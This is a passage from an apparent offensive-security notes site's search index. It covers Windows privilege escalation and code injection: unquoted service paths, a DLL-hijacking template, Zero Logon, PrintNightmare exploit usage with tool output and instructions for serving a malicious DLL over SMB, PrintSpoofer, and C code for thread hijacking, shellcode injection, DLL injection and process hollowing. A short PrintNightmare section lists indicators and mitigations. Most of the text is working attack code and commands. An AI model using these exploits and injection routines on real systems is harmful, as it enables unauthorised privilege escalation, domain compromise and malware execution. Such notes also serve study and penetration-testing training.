writeable\n```sh\nGet-Acl -Path <path> | Format-List\n```\n\n* Save the script [Get-ServiceAcl.ps1](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/) and `Import-Module Get-ServiceAcl.ps1`\n\n* Check `ServiceRights` via\n```sh\n\"<servicename>\" | Get-ServiceAcl | select ExpandProperty Access\n```\n\n## Interacting with the Service\n\n* Upload msfvenom shell to the writeable path, setup listener and \n```sh\nsc start \"servicename\"\nStop-Service -name \"servicename\"\nStart-Service -name \"servicename\"\n```\n\n## PoC\n\n* [MattyMcFatty's PoC](https://github.com/mattymcfatty/unquotedPoC.git)\n\n","description":"","tags":[],"title":"Unquoted Path","uri":"/exploit/windows/docs/unquoted_path.html"},{"content":"DLL Hijacking\n## Search Orders\n* __SafeDllSearchMode__ enabled searches paths in following order: \n * __cwd__ of executable\n * System directory, `GetSystemDirectory`\n * 16-bit system directory \n * Windows, `GetWindowsDirectory`\n * __pwd__\n * PATH\n\n* __SafeDllSearchMode__ disabled searches in following order:\n * __cwd__ of executable\n * __pwd__ \n * System directory\n * 16-bit system directory\n * Windows directory \n * PATH environment variable\n\n## Template\n```C\n#include <windows.h>\n\nBOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {\n if (dwReason == DLL_PROCESS_ATTACH) {\n system(\"cmd.exe /k whoami > C:\\\\Temp\\\\dll.txt\");\n ExitProcess(0);\n }\n return TRUE;\n}\n```\n* Compilation via\n```sh\nx86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll\n```\n* Upload to target\n* Restart dllsvervice via\n```sh\nsc stop dllsvc\nsc start dllsvc\n```\n\n","description":"","tags":[],"title":"DLL Hijacking","uri":"/exploit/windows/dll_hijacking/dll_hijacking.html"},{"content":"Zero Logon\n[CVE-2020-1472](http://cve.circl.lu/cve/CVE-2020-1472)\n\n## MS-NRPC (Microsoft NetLogon Remote Protocol) \n* ComputeNetlogonCredential\n* IV is `0` of AES-CFB8\n* Machine accounts got no limit on failed login attempts (64 bit alnum password)\n\n## Kill Chain\nZero Logon to bypass authentication on the Domain Controller's Machine Account -> Run `Secretsdump.py` to dump credentials -> Crack/Pass Domain Admin Hashes -> ??? -> Profit\n\n## MS-NRPC Logon\n* Netlogon handshake between Client (domain-joined computer) and Server (domain-controller).\n* RPC traffic\n```mermaid\nsequenceDiagram\n participant Client\n participant Server\nClient ->> Server: Client challenge\nServer ->> Client: Server challenge, Session Key = KDF(secret, challenges)\nClient ->> Server: Client credential, Encrypt(K_sess, client challenge)\nServer ->> Client: Client credential, Encrypt(K_sess, client challenge)\nClient ->> Server: Signed + sealed with session key: Procedure call with authenticator\n```\n\n* Zero Logon attack. Zeroing parameters and retrying handshakes with an empty password on the domain controller.\n```mermaid\nsequenceDiagram\n participant Client\n participant Server\nClient ->> Server: NetrServerReqChallenge (challenge=0000...00)\nServer ->> Client: Server Challenge\nClient ->> Server: NetrServerAuthenticate3 (identity=DC; credential=0000...00; sign/seal=0)\nServer ->> Client: OK\nClient ->> Server: NetrServerPasswordSet2 (target=DC; authenticator=0000...00; timestamp=0; enc.password=0000...00)\n```\n\n1. Client sends 16 Bytes of `0` as Nonce to domain-controller\n2. Server receives NetServerReqChallenge and generates challenge (Nonce). Sends it to the client.\n3. __NetrServerAuthenticate3__ method is generated as NetLogon credentials. Contains the following\n 1. __Custom Binding Handle__ \n 2. __Account Name__\n 3. __Secure Channel Type__, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel\n 4. __Computer Name__, Domain Controller DC01\n 5. __Client Credential String__, 16 Bytes of `\\x00`\n 6. __Negotiation Flags__, value observed from a Win10 client with Sign/Seal flags disabled: 0x212fffff Provided by Secura\n\n4. NetrServerAuthenticate is received by server. Responds success if positive to the client.\n5. If same values is calculated by the server, mutual agreement is confirmed by the client as well.\n\n## PoC\n* [Secura's PoC](https://github.com/SecuraBV/CVE-2020-1472) \n* [NetrServerPasswordSet2](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81)\n* [NetServerAuthenticate3](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/3a9ed16f-8014-45ae-80af-c0ecb06e2db9)\n* [Authenticator](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/76c93227-942a-4687-ab9d-9d972ffabdab)\n* [NETLOGON_CREDENTIALS](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/d55e2632-7163-4f6c-b662-4b870e8cc1cd)\n","description":"","tags":[],"title":"Zero Logon","uri":"/exploit/windows/zero_logon/zero_logon.html"},{"content":"Print Nightmare\n* Privilege Escalation using Print Spooler Service \n* Located at `C:\\Windows\\System32\\spoolsv.exe` \n* Enabled by default\n* [CVE-2021-1675](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675) (locally exploitable) and [CVE-2021-34527](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) (RCE) are both related to the print spooler\n* RCE connection is done via [DCE/RPC](https://wiki.wireshark.org/DCE/RPC). Use of `RpcAddPrinterDriver` or `RpcAddPrinterDriverEx`\n\n## Usage\n\n* Prepare reverse shell\n* Check if target would be vulnerable\n```sh\nrpcdump.py @$TARGET_IP | grep -e 'MS-RPRN|MS-PAR'\n```\n* Execute smb server\n```sh\nsmbserver.py share . -smb2support\n```\n* Execute PoC with credentials to elevate\n```sh\npython CVE-2021-1675.py <domain of domaincontroller>/<user>:<password>@$TARGET_IP\n```\n* Use the meterpreter session\n\n### Mimikatz\n\n* Printnightmare modules of mimikatz\n```sh\nmisc::printnightmare /target:<domain.com> /authuser:<lowpriv_user> /authpassword:<password> /library:\\\\<domain.com>\\path\\to\\printnightmare.dll\n```\n\n## IOCs\n\n* `pcAddPrinterDriverEx()` is called\n* [Sygnia](https://www.sygnia.co/demystifying-the-printnightmare-vulnerability) explains them\n* [Splunk queries](https://www.splunk.com/en_us/blog/security/i-pity-the-spool-detecting-printnightmare-cve-2021-34527.html)\n\n* Logs are `Microsoft-Windows-PrintService/Admin` and `Microsoft-Windows-PrintService/Operational`\n* Event Ids `316, 808, 811, 31017, 7031`\n\n## Mitigation\n\n* [link](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527)\n* Stop and disable\n```sh\nStop-Service -Name Spooler -Force\nSet-Service -Name Spooler -StartupType Disabled\n```\n* Disable group policy\n```sh\nComputer Configuration/Administrative Templates/Printers\n```\n\n","description":"","tags":[],"title":"Print Nightmare","uri":"/exploit/windows/print_nightmare/print_nightmare.html"},{"content":"CVE-2021-1675 - PrintNightmare LPE (PowerShell)\n> Caleb Stewart | John Hammond | July 1, 2021\n\n----------------------------------------------------------\n\n[CVE-2021-1675](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675) is a critical remote code execution and local privilege escalation vulnerability dubbed \"PrintNightmare.\"\n\nProof-of-concept exploits have been released ([Python](https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py), [C++](https://github.com/afwu/PrintNightmare/blob/main/EXP/POC/POC.cpp)) for the remote code execution capability, and a [C# rendition](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare) for local privilege escalation. We had not seen a native implementation in pure PowerShell, and we wanted to try our hand at refining and recrafting the exploit.\n\nThis PowerShell script performs local privilege escalation (LPE) with the PrintNightmare attack technique.\n\n\n\nThis has been tested on Windows Server 2016 and Windows Server 2019.\n\n## Usage\n\nAdd a new user to the local administrators group by default:\n\n```shell\nImport-Module .\\cve-2021-1675.ps1\nInvoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default\n\nInvoke-Nightmare -DriverName \"Xerox\" -NewUser \"john\" -NewPassword \"SuperSecure\" \n```\n\nSupply a custom DLL payload, to do anything else you might like.\n\n```shell\nImport-Module .\\cve-2021-1675.ps1\nInvoke-Nightmare -DLL \"C:\\absolute\\path\\to\\your\\bindshell.dll\"\n```\n\n## Details\n\n* The LPE technique does not need to work with remote RPC or SMB, as it is only working with the functions of Print Spooler.\n* This script embeds a Base64-encoded GZIPped payload for a custom DLL, that is patched according to your arguments, to easily add a new user to the local administrators group.\n* This script embeds methods from PowerSploit/[PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) to reflectively access the Win32 APIs.\n* This method does not loop through all printer drivers to find the appropriate DLL path -- it simply grabs the first driver and determines the appropriate path.\n","description":"","tags":[],"title":"CVE-2021-1675 - PrintNightmare LPE (PowerShell)","uri":"/exploit/windows/print_nightmare/CVE-2021-1675/README.html"},{"content":"PrintNightmare\nPython implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket.\n\n## Installtion\n\n```bash\n$ pip3 install impacket\n```\n\n## Usage\n\n```\nImpacket v0.9.23 - Copyright 2021 SecureAuth Corporation\n\nusage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]\n [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]\n target\n\nPrintNightmare (CVE-2021-1675 / CVE-2021-34527)\n\npositional arguments:\n target [[domain/]username[:password]@]<targetName or address>\n\noptional arguments:\n -h, --help show this help message and exit\n -debug Turn DEBUG output ON\n -no-pass don't ask for password (useful for -k)\n -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials\n cannot be found, it will use the ones specified in the command line\n -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter\n\nconnection:\n -port [destination port]\n Destination port to connect to MS-RPRN named pipe\n -target-ip ip address\n IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the\n NetBIOS name and you cannot resolve it\n\nauthentication:\n -hashes LMHASH:NTHASH\n NTLM hashes, format is LMHASH:NTHASH\n\ndriver:\n -name driver name Name for driver\n -env driver name Environment for driver\n -path driver path Driver path for driver\n -dll driver dll Path to DLL\n\nmodes:\n -check Check if target is vulnerable\n -list List existing printer drivers\n -delete Deletes printer driver\n```\n\n### Examples\n\n#### Exploitation\n\n##### Remote DLL\n```bash\n$ ./printnightmare.py -dll '\\\\172.16.19.1\\smb\\add_user.dll' 'user:Passw0rd@172.16.19.128'\nImpacket v0.9.23 - Copyright 2021 SecureAuth Corporation\n\n[*] Enumerating printer drivers\n[*] Driver name: 'Microsoft XPS Document Writer v5'\n[*] Driver path: 'C:\\\\Windows\\\\System32\\\\DriverStore\\\\FileRepository\\\\ntprint.inf_amd64_18b0d38ddfaee729\\\\Amd64\\\\UNIDRV.DLL'\n[*] DLL path: '\\\\\\\\172.16.19.1\\\\smb\\\\add_user.dll'\n[*] Copying over DLL\n[*] Successfully copied over DLL\n[*] Trying to load DLL\n[*] Successfully loaded DLL\n```\n\n##### Local DLL\n```bash\n$ ./printnightmare.py -dll 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll' 'user:Passw0rd@172.16.19.128'\nImpacket v0.9.23 - Copyright 2021 SecureAuth Corporation\n\n[*] Enumerating printer drivers\n[*] Driver name: 'Microsoft XPS Document Writer v5'\n[*] Driver path: 'C:\\\\Windows\\\\System32\\\\DriverStore\\\\FileRepository\\\\ntprint.inf_amd64_18b0d38ddfaee729\\\\Amd64\\\\UNIDRV.DLL'\n[*] DLL path: 'C:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\old\\\\1\\\\add_user.dll'\n[*] Loading DLL\n[*] Successfully loaded DLL\n```\n\nNotice that the local DLL example doesn't abuse CVE-2021-34527 to copy over the DLL.\n\n##### Custom name\n```bash\n$ ./printnightmare.py -dll '\\\\172.16.19.1\\smb\\add_user.dll' -name 'My Printer Driver' 'user:Passw0rd@172.16.19.128'\nImpacket v0.9.23 - Copyright 2021 SecureAuth Corporation\n\n[*] Enumerating printer drivers\n[*] Driver name: 'My Printer Driver'\n[*] Driver path: 'C:\\\\Windows\\\\System32\\\\DriverStore\\\\FileRepository\\\\ntprint.inf_amd64_18b0d38ddfaee729\\\\Amd64\\\\UNIDRV.DLL'\n[*] DLL path: '\\\\\\\\172.16.19.1\\\\smb\\\\add_user.dll'\n[*] Copying over DLL\n[*] Successfully copied over DLL\n[*] Trying to load DLL\n[*] Successfully loaded DLL\n\n$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.128'\nImpacket v0.9.23 - Copyright 2021 SecureAuth Corporation\n\n[*] Enumerating printer drivers\nName: Microsoft XPS Document Writer v4\nEnvironment: Windows x64\nDriver path: C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\mxdwdrv.dll\nData file: C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms001.inf_amd64_f340cb58fcd23202\\MXDW.gpd\nConfig file: C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64_9bf7e0c26ba91f8b\\Amd64\\PrintConfig.dll\nVersion: 4\n----------------------------------------------------------------\nName: Microsoft Print To PDF\nEnvironment: Windows x64\nDriver path: C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\mxdwdrv.dll\nData file: C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms009.inf_amd64_80184dcbef6775bc\\MPDW-PDC.xml\nConfig file: C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64_9bf7e0c26ba91f8b\\Amd64\\PrintConfig.dll\nVersion: 4\n----------------------------------------------------------------\nName: My Printer Driver\nEnvironment: Windows x64\nDriver path: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\UNIDRV.DLL\nData file: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\add_user.dll\nConfig file: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\add_user.dll\nVersion: 3\n----------------------------------------------------------------\nName: Microsoft Shared Fax Driver\nEnvironment: Windows x64\nDriver path: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\FXSDRV.DLL\nData file: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\FXSUI.DLL\nConfig file: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\FXSUI.DLL\nVersion: 3\n----------------------------------------------------------------\nName: Microsoft enhanced Point and Print compatibility driver\nEnvironment: Windows x64\nDriver path: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\mxdwdrv.dll\nData file: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\unishare.gpd\nConfig file: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\PrintConfig.dll\nVersion: 3\n----------------------------------------------------------------\n```\n\n#### Check if target is vulnerable\n\n##### Unpatched Windows 10\n```bash\n$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.128'\nImpacket v0.9.23 - Copyright 2021 SecureAuth Corporation\n\n[*] Target appears to be vulnerable!\n```\n\n##### Patched Windows Server 2022\n```bash\n$ ./printnightmare.py -check 'user:Passw0rd@172.16.19.135'\nImpacket v0.9.23 - Copyright 2021 SecureAuth Corporation\n\n[!] Target does not appear to be vulnerable\n```\n\n#### List current printer drivers\n\n```bash\n$ ./printnightmare.py -list 'user:Passw0rd@172.16.19.135'\nImpacket v0.9.23 - Copyright 2021 SecureAuth Corporation\n\n[*] Enumerating printer drivers\nName: Microsoft XPS Document Writer v4\nEnvironment: Windows x64\nDriver path: C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_075615bee6f80a8d\\Amd64\\mxdwdrv.dll\nData file: C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms001.inf_amd64_8bc7809b71930efc\\MXDW.gpd\nConfig file: C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64_c9865835eff4a608\\Amd64\\PrintConfig.dll\nVersion: 4\n----------------------------------------------------------------\nName: Microsoft Print To PDF\nEnvironment: Windows x64\nDriver path: C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_075615bee6f80a8d\\Amd64\\mxdwdrv.dll\nData file: C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms009.inf_amd64_6dc3549941ff1a57\\MPDW-PDC.xml\nConfig file: C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64_c9865835eff4a608\\Amd64\\PrintConfig.dll\nVersion: 4\n----------------------------------------------------------------\nName: Microsoft enhanced Point and Print compatibility driver\nEnvironment: Windows x64\nDriver path: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\mxdwdrv.dll\nData file: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\unishare.gpd\nConfig file: C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\PrintConfig.dll\nVersion: 3\n----------------------------------------------------------------\n```\n\n#### Delete printer driver\n\nMay require administrative privileges.\n\n```bash\n$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:Passw0rd@172.16.19.128'\nImpacket v0.9.23 - Copyright 2021 SecureAuth Corporation\n\n[*] Deleted printer driver!\n```\n\n## Details\n\nPrintNightmare consists of two CVE's, CVE-2021-1675 / CVE-2021-34527. \n\n### CVE-2021-1675\n\nA non-administrative user is allowed to add a new printer driver. This vulnerability was fixed by only allowing administrators to add new printer drivers. A patched version of the print spooler will return `RPC_E_ACCESS_DENIED` (Code: `0x8001011b`) if a non-administrator tries to add a new printer driver. \n\n### CVE-2021-34527\n\nWhen [adding a new printer driver](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b), the `pDataFile` parameter in the [DRIVER_CONTAINER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/3a3f9cf7-8ec4-4921-b1f6-86cf8d139bc2) allows UNC paths. The DLL specified in `pDataFile` will however **not** be loaded, *but* it will get copied over to a local path allowing us to create a new printer driver with the `pConfigFile` parameter pointing to the local path which will load the DLL. A patched version of the printer spooler will return `ERROR_INVALID_PARAMETER` (Code: `0x57`)\n\n### Combining the pieces\n\nOnly CVE-2021-1675 is needed if the malicious DLL is already located on the target.\n\nFor PrintNightmare, if the DLL is not a local path, then CVE-2021-34527 can be used to fetch the DLL via UNC paths. For that reason, it is necessary to serve the DLL over SMB. If you're not familiar with SMB and UNC, read the following subsection.\n\nWhen creating a new printer driver, the DLL in the `pDataFile` parameter will **not** be loaded for security reasons. However, it *will* be copied over to `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\`. Then, we could create a new printer driver that uses `pConfigFile` (which will load the DLL) with the local path. However, the DLL is in use by the first printer driver when creating the second printer driver. Instead, we could overwrite the first printer driver, which will make the printer driver's DLLs get copied over to `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\old\\<I>\\`, where `<I>` is incremented for each DLL. Now we can create a third printer driver that will use the local path `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\old\\<I>\\`, since the DLL is no longer used. Now it's just a matter of guessing `<I>` which will start incrementing from `1`.\n\nNote that the DLL will keep its filename locally, so if you initially run the exploit with `foo.dll` and it gets saved to `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\foo.dll` and you then change the contents of `foo.dll` locally and run the exploit again and it now gets saved to `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\old\\5\\foo.dll`, then the original `foo.dll` will be used since it is located in `C:\\Windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\foo.dll`. Instead, simply change the filename if you change the contents of the DLL.\n\n#### SMB and UNC\n\nIn short, a UNC path is a path to a file or folder on a network rather than a local file, and it contains the server name and path. For instance, the UNC path `\\\\10.0.0.2\\files\\foo.txt` is a file `foo.txt` that is served from the `files` share of the server `10.0.0.2`. Usually, a share is served over SMB, but WebDAV is also supported. To create an SMB share on Linux, the easiest and most reliable way is to use the `Samba` package.\n\nTo install `Samba` with `apt`:\n```bash\n$ sudo apt install samba\n```\n\nEdit the `/etc/samba/smb.conf` and add the following at the end of the file:\n```\n[smb]\n comment = Samba\n path = /tmp/share\n guest ok = yes\n read only = yes\n browsable = yes\n force user = nobody\n```\n\nThis will create a new share called `smb` and serve the files inside `/tmp/share`. It allows for anonymous access, and the local user `nobody` will be used to browse the files.\n\nThen start the Samba service by doing:\n```bash\n$ sudo service smbd start\n```\n\nSuppose your Linux machine has the IP `192.168.1.100` and you wish to serve the `evil.dll`, then the UNC path in this scenario will be `\\\\192.168.1.100\\smb\\evil.dll`. \n\n## Authors\n- [@ly4k](https://github.com/ly4k)\n\n## Credits\n- [@cube0x0](https://github.com/cube0x0)'s [implementation](https://github.com/cube0x0/CVE-2021-1675)\n- [Impacket](https://github.com/SecureAuthCorp/impacket)","description":"","tags":[],"title":"PrintNightmare","uri":"/exploit/windows/print_nightmare/PrintNightmare/README.html"},{"content":"printspoofer\nPrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10. \n\nTo escalate privileges, the service account must have SeImpersonate privileges. To execute:\n\n```bash\nPrintSpoofer.exe -i -c cmd\n```\nWith appropriate privileges this should grant system user shell access.\n","description":"","tags":[],"title":"printspoofer","uri":"/exploit/windows/print_nightmare/printspoofer/README.html"},{"content":"Thread Hijacking\n* Open process, allocate and write memory\n```c\nHANDLE hProcess = OpenProcess(\n\tPROCESS_ALL_ACCESS, // Requests all possible access rights\n\tFALSE, // Child processes do not inheret parent process handle\n\tprocessId // Stored process ID\n);\nPVOIF remoteBuffer = VirtualAllocEx(\n\thProcess, // Opened target process\n\tNULL, \n\tsizeof shellcode, // Region size of memory allocation\n\t(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages\n\tPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages\n);\nWriteProcessMemory(\n\tprocessHandle, // Opened target process\n\tremoteBuffer, // Allocated memory region\n\tshellcode, // Data to write\n\tsizeof shellcode, // byte size of data\n\tNULL\n);\n```\n\n* Snapshot the process and get the first thread\n```c\nTHREADENTRY32 threadEntry;\n\nHANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process\n\tTH32CS_SNAPTHREAD, // Include all processes residing on the system\n\t0 // Indicates the current process\n);\nThread32First( // Obtains the first thread in the snapshot\n\thSnapshot, // Handle of the snapshot\n\t&threadEntry // Pointer to the THREADENTRY32 structure\n);\n\nwhile (Thread32Next( // Obtains the next thread in the snapshot\n\tsnapshot, // Handle of the snapshot\n\t&threadEntry // Pointer to the THREADENTRY32 structure\n)) {\n```\n\n* Get Pointer to the thread\n```c\nif (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match\n\t\t{\n\t\t\tHANDLE hThread = OpenThread(\n\t\t\t\tTHREAD_ALL_ACCESS, // Requests all possible access rights\n\t\t\t\tFALSE, // Child threads do not inheret parent thread handle\n\t\t\t\tthreadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer\n\t\t\t);\n\t\t\tbreak;\n\t\t}\n```\n\n* Suspend threat ,get context and change `$rip`\n```\nSuspendThread(hThread);\nCONTEXT context;\nGetThreadContext(\n\thThread, // Handle for the thread \n\t&context // Pointer to store the context structure\n);\ncontext.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation\n```\n\n* Set context and resume the thread\n```c\nSetThreadContext(\n\thThread, // Handle for the thread \n\t&context // Pointer to the context structure\n);\nResumeThread(\n\thThread // Handle for the thread\n);\n```\n\n","description":"","tags":[],"title":"Thread Hijacking","uri":"/exploit/windows/process_injection/thread_hijacking.html"},{"content":"Process Injection\n## Shellcode injection\n\n* Open a process\n```sh\nprocessHandle = OpenProcess(\n\tPROCESS_ALL_ACCESS, // Defines access rights\n\tFALSE, // Target handle will not be inhereted\n\tDWORD(atoi(argv[1])) // Local process supplied by command-line arguments \n);\n```\n\n* Allocate memory\n```sh\nremoteBuffer = VirtualAllocEx(\n\tprocessHandle, // Opened target process\n\tNULL, \n\tsizeof shellcode, // Region size of memory allocation\n\t(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages\n\tPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages\n);\n```\n\n* Write shellcode to memory allocated\n```sh\nWriteProcessMemory(\n\tprocessHandle, // Opened target process\n\tremoteBuffer, // Allocated memory region\n\tshellcode, // Data to write\n\tsizeof shellcode, // byte size of data\n\tNULL\n);\n```\n\n* Execute shellcode inside a created thread\n```sh\nremoteThread = CreateRemoteThread(\n\tprocessHandle, // Opened target process\n\tNULL, \n\t0, // Default size of the stack\n\t(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread\n\tNULL, \n\t0, // Ran immediately after creation\n\tNULL\n);\n```\n\n* Compile\n* Check processes via\n```sh\nGet-Process -IncludeUserName\n```\n* Run on process ID as argv1\n\n","description":"","tags":[],"title":"Process Injection","uri":"/exploit/windows/process_injection/shellcode_injection.html"},{"content":"DLL Injection\n```c\nDWORD getProcessId(const char *processName) {\n HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process\n\t\t\tTH32CS_SNAPPROCESS, // Include all processes residing on the system\n\t\t\t0 // Indicates the current process\n\t\t);\n if (hSnapshot) {\n PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structure\n entry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structure\n if (Process32First( // Obtains the first process in the snapshot\n\t\t\t\t\thSnapshot, // Handle of the snapshot\n\t\t\t\t\t&entry // Pointer to the PROCESSENTRY32 structure\n\t\t\t\t)) {\n do {\n if (!strcmp( // Compares two strings to determine if the process name matches\n\t\t\t\t\t\t\t\t\tentry.szExeFile, // Executable file name of the current process from PROCESSENTRY32\n\t\t\t\t\t\t\t\t\tprocessName // Supplied process name\n\t\t\t\t\t\t\t\t)) { \n return entry.th32ProcessID; // Process ID of matched process\n }\n } while (Process32Next( // Obtains the next process in the snapshot\n\t\t\t\t\t\t\thSnapshot, // Handle of the snapshot\n\t\t\t\t\t\t\t&entry\n\t\t\t\t\t\t)); // Pointer to the PROCESSENTRY32 structure\n }\n }\n\nDWORD processId = getProcessId(processName); // Stores the enumerated process ID\n```\n\n* Open Process\n```c\nHANDLE hProcess = OpenProcess(\n\tPROCESS_ALL_ACCESS, // Requests all possible access rights\n\tFALSE, // Child processes do not inheret parent process handle\n\tprocessId // Stored process ID\n);\n```\n\n* Allocate memory\n```c\nLPVOID dllAllocatedMemory = VirtualAllocEx(\n\thProcess, // Handle for the target process\n\tNULL, \n\tstrlen(dllLibFullPath), // Size of the DLL path\n\tMEM_RESERVE | MEM_COMMIT, // Reserves and commits pages\n\tPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages\n);\n```\n\n* Write to memory\n```c\nWriteProcessMemory(\n\thProcess, // Handle for the target process\n\tdllAllocatedMemory, // Allocated memory region\n\tdllLibFullPath, // Path to the malicious DLL\n\tstrlen(dllLibFullPath) + 1, // Byte size of the malicious DLL\n\tNULL\n);\n```\n\n```c\n\nLPVOID loadLibrary = (LPVOID) GetProcAddress(\n\tGetModuleHandle(\"kernel32.dll\"), // Handle of the module containing the call\n\t\"LoadLibraryA\" // API call to import\n);\nHANDLE remoteThreadHandler = CreateRemoteThread(\n\thProcess, // Handle for the target process\n\tNULL, \n\t0, // Default size from the execuatable of the stack\n\t(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting function\n\tdllAllocatedMemory, // pointer to the allocated memory region\n\t0, // Runs immediately after creation\n\tNULL\n);\n```\n\n\n","description":"","tags":[],"title":"DLL Injection","uri":"/exploit/windows/process_injection/dll_injection.html"},{"content":"Process Hollowing\n* Target process which is in suspended state has to be created\n```c\nLPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process\nLPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread\nCONTEXT c; // Context structure pointer\n\nif (CreateProcessA(\n\t(LPSTR)\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\", // Name of module to execute\n\tNULL,\n\tNULL,\n\tNULL,\n\tTRUE, // Handles are inherited from the calling process\n\tCREATE_SUSPENDED, // New process is suspended\n\tNULL,\n\tNULL,\n\ttarget_si, // pointer to startup info\n\ttarget_pi) == 0) { // pointer to process information\n\tcout << \"[!] Failed to create Target process. Last Error: \" << GetLastError();\n\treturn 1;\n```\n\n* Malicious image has to be opened\n```c\nHANDLE hMaliciousCode = CreateFileA(\n\t(LPCSTR)\"C:\\\\\\\\Users\\\\\\\\tryhackme\\\\\\\\malware.exe\", // Name of image\n\tGENERIC_READ, // Read-only access\n\tFILE_SHARE_READ, // Read-only share mode\n\tNULL,\n\tOPEN_EXISTING, // Instructed to open a file or device if it exists\n\tNULL,\n\tNULL\n);\n```\n\n* Unmap memory from the process \n```c\nc.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer\nGetThreadContext(\n\ttarget_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure\n\t&c // Pointer to store retrieved context\n); // Obtains the current thread context\n\nPVOID pTargetImageBaseAddress; \nReadProcessMemory(\n\ttarget_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure\n\t(PVOID)(c.Ebx + 8), // Pointer to the base address\n\t&pTargetImageBaseAddress, // Store target base address \n\tsizeof(PVOID), // Bytes to read \n\t0 // Number of bytes out\n);\n```\n\n* Allocate and write into the memory unmapped\n```c\nDWORD maliciousFileSize = GetFileSize(\n\thMaliciousCode, // Handle of malicious image\n\t0 // Returns no error\n);\n\nPVOID pMaliciousImage = VirtualAlloc(\n\tNULL,\n\tmaliciousFileSize, // File size of malicious image\n\t0x3000, // 